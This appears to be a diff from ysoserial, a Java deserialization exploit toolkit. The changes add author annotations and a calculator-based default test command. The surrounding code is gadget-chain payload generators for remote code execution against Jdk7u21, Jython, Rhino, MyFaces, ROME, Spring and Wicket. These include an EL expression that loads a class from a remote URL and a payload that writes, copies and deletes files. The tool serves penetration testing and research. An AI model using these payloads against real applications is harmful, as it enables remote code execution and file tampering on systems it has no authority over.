import ysoserial.payloads.util.Gadgets;
@@ -53,8 +54,9 @@ LinkedHashSet.readObject()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies()
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
@@ -80,7 +82,7 @@ public class Jdk7u21 implements ObjectPayload<Object> {
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
@@ -10,6 +10,7 @@ import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
@@ -41,8 +42,9 @@ import ysoserial.payloads.util.PayloadRunner;
@PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";");
@@ -99,7 +101,7 @@ public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueu
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython1.class, args);
}
@@ -2,6 +2,7 @@ package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -16,6 +17,7 @@ import java.lang.reflect.Method;
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MBECHLER })
public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
@@ -63,4 +65,4 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args);
}
}
}
+10 -8
View File
@@ -15,6 +15,7 @@ import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -22,35 +23,36 @@ import ysoserial.payloads.util.Reflections;
/**
*
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
*
* Arguments:
* - an EL expression to execute
*
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
*
* @author mbechler
*/
@PayloadTest(skip="Requires running MyFaces, no direct execution")
@Authors({ Authors.MBECHLER })
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
@@ -59,7 +61,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
@@ -76,7 +78,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
+12 -10
View File
@@ -2,38 +2,40 @@ package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
*
* Arguments:
* - base_url:classname
*
*
* Yields:
* - Instantiation of remotely loaded class
*
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
@Authors({ Authors.MBECHLER })
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
@@ -43,17 +45,17 @@ public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
+15 -13
View File
@@ -5,29 +5,31 @@ import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
*
* @author mbechler
*
*/
@Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
@@ -36,8 +38,8 @@ public class ROME implements ObjectPayload<Object> {
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}
+15 -13
View File
@@ -10,6 +10,7 @@ import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
@@ -19,7 +20,7 @@ import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
@@ -28,14 +29,14 @@ import ysoserial.payloads.util.Reflections;
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
@@ -47,24 +48,25 @@ import ysoserial.payloads.util.Reflections;
*/
@SuppressWarnings({"rawtypes"})
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@Authors({ Authors.FROHOFF })
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
@@ -11,6 +11,7 @@ import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
@@ -20,9 +21,9 @@ import ysoserial.payloads.util.Reflections;
/**
*
*
* Just a PoC to proof that the ObjectFactory stuff is not the real problem.
*
*
* Gadget chain:
* TemplatesImpl.newTransformer()
* Method.invoke(Object, Object...)
@@ -31,16 +32,17 @@ import ysoserial.payloads.util.Reflections;
* $Proxy0.newTransformer()
* Method.invoke(Object, Object...)
* SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
*
*
* @author mbechler
*/
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies ( {
"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
// test deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
} )
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
@@ -67,9 +69,8 @@ public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Spring2.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
+11 -9
View File
@@ -7,6 +7,7 @@ import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -16,18 +17,18 @@ import ysoserial.payloads.util.Reflections;
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
@@ -35,11 +36,12 @@ import ysoserial.payloads.util.Reflections;
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
+10 -8
View File
@@ -11,6 +11,7 @@ import org.apache.wicket.util.upload.DiskFileItem;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -23,10 +24,10 @@ import ysoserial.payloads.util.Reflections;
* means that if the target is running less than Oracle Java 7 update 40
* then the NULL byte attack is viable. Otherwise, copy and move attacks
* always work.
*
*
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
*
*
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
@@ -34,17 +35,18 @@ import ysoserial.payloads.util.Reflections;
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
*
* Example:
* Wicket1 "write;/tmp;blue lobster"
*
*
* Result:
* $ ls -l /tmp/
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster
*/
@Dependencies({"wicket-util:wicket-util:6.23"})
@Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception {
@@ -54,7 +56,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
if (parts.length != 3) {
throw new IllegalArgumentException("Bad command format.");
}
if ("copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
}
@@ -73,7 +75,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
public void release(DiskFileItem obj) throws Exception {
public void release(DiskFileItem obj) throws Exception {
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
@@ -108,4 +110,4 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
}
@@ -0,0 +1,33 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Authors {
String FROHOFF = "frohoff";
String PWNTESTER = "pwntester";
String CSCHNEIDER4711 = "cschneider4711";
String MBECHLER = "mbechler";
String JACKOFMOSTTRADES = "JackOfMostTrades";
String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl" ;
String JACOBAINES = "jacob-baines";
String[] value() default {};
public static class Utils {
public static String[] getAuthors(AnnotatedElement annotated) {
Authors authors = annotated.getAnnotation(Authors.class);
if (authors != null && authors.value() != null) {
return authors.value();
} else {
return new String[0];
}
}
}
}
@@ -20,5 +20,14 @@ public @interface Dependencies {
return new String[0];
}
}
public static String[] getDependenciesSimple(AnnotatedElement annotated) {
String[] deps = getDependencies(annotated);
String[] simple = new String[deps.length];
for (int i = 0; i < simple.length; i++) {
simple[i] = deps[i].split(":", 2)[1];
}
return simple;
}
}
}
@@ -1,5 +1,6 @@
package ysoserial.payloads.util;
import java.io.File;
import java.util.concurrent.Callable;
import ysoserial.Deserializer;
@@ -15,11 +16,12 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
*/
@SuppressWarnings("unused")
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
@@ -41,4 +43,21 @@ public class PayloadRunner {
}
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}
private static String getFirstExistingFile(String ... files) {
for (String path : files) {
if (new File(path).exists()) {
return path;
}
}
throw new UnsupportedOperationException("no known test executable");
}
}
@@ -107,7 +107,7 @@ public class PayloadsTest {
if ( wrapper instanceof CustomPayloadArgs ) {
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
}
if ( wrapper instanceof CustomDeserializer ) {
customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer();
}
@@ -210,9 +210,9 @@ public class PayloadsTest {
}
byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
if ( customDeserializer != null ) {
try {
Method method = customDeserializer.getMethod("getExtraDependencies");
for ( Class extra : (Class[])method.invoke(null)) {
@@ -220,11 +220,11 @@ public class PayloadsTest {
defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}
} catch ( NoSuchMethodException e ) { }
deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}
}
};